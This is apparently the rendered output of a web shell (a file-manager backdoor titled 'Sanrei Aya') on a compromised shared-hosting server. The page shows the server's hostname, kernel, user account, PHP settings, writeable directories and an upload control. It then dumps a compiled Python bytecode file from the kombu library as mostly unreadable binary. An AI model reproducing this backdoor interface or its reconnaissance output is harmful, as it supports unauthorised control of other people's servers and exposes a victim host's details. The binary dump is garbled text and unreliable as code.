Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/kombu/asynchronous/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/kombu/asynchronous/__pycache__/debug.cpython-39.pyc
a

��Sh��@sldZddlmZddlmZmZmZddlmZdd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
dd�Zdd�ZdS)zEvent-loop debugging tools.�)�annotations)�ERR�READ�WRITE)�reprcallcCs2d�|t@rdnd|t@rdnd|t@r,dnd�S)z&Return description of event loop flag.z{}{}{}�R��W�!)�formatrrr)�flag�r
�B/usr/local/lib/python3.9/site-packages/kombu/asynchronous/debug.py�	repr_flag	s�rcCs@|durdSt|t�r|St|t�r:|\}}t|j|d�S|jS)Nz	<missing>)�args)�
isinstance�str�tupler�__name__)�obj�cbrr
r
r�_rcbs

rcCsd�t|�t|��S)z1Return description of active readers and writers.�, )�join�repr_readers�repr_writers��hr
r
r�repr_activesrcsd��fdd�|D��S)z.Return description of events returned by poll.rc	3s2|]*\}}d�tt�||d��|t|��VqdS)z
{}({})->{}z(GONE)N)rr�callback_forr)�.0�fd�flrr
r�	<genexpr>"s
��zrepr_events.<locals>.<genexpr>)r)r�eventsr
rr�repr_events s�r%cCsdd�|j��D�S)z&Return description of pending readers.c
Ss2g|]*\}}d|�dt|��dtttB����qS��(�)z->)rrrr�r r!rr
r
r�
<listcomp>-s�z repr_readers.<locals>.<listcomp>)�readers�itemsrr
r
rr+s�rcCsdd�|j��D�S)z&Return description of pending writers.c	Ss.g|]&\}}d|�dt|��dtt����qSr&)rrrr)r
r
rr*3s�z repr_writers.<locals>.<listcomp>)�writersr,rr
r
rr1s�rcGshz>|t@r|j|WS|t@r<||jvr0|jWS|j|WSWn$tyb|r\|dYS�Yn0dS)z)Return the callback used for hub+fd+flag.rN)rr+rZconsolidateZconsolidate_callbackr-�KeyError)rr!r�defaultr
r
rr7s
rN)�__doc__�
__future__rZkombu.utils.eventiorrrZkombu.utils.functionalrrrrr%rrrr
r
r
r�<module>s

Yohohohohohooho | Sanrei Aya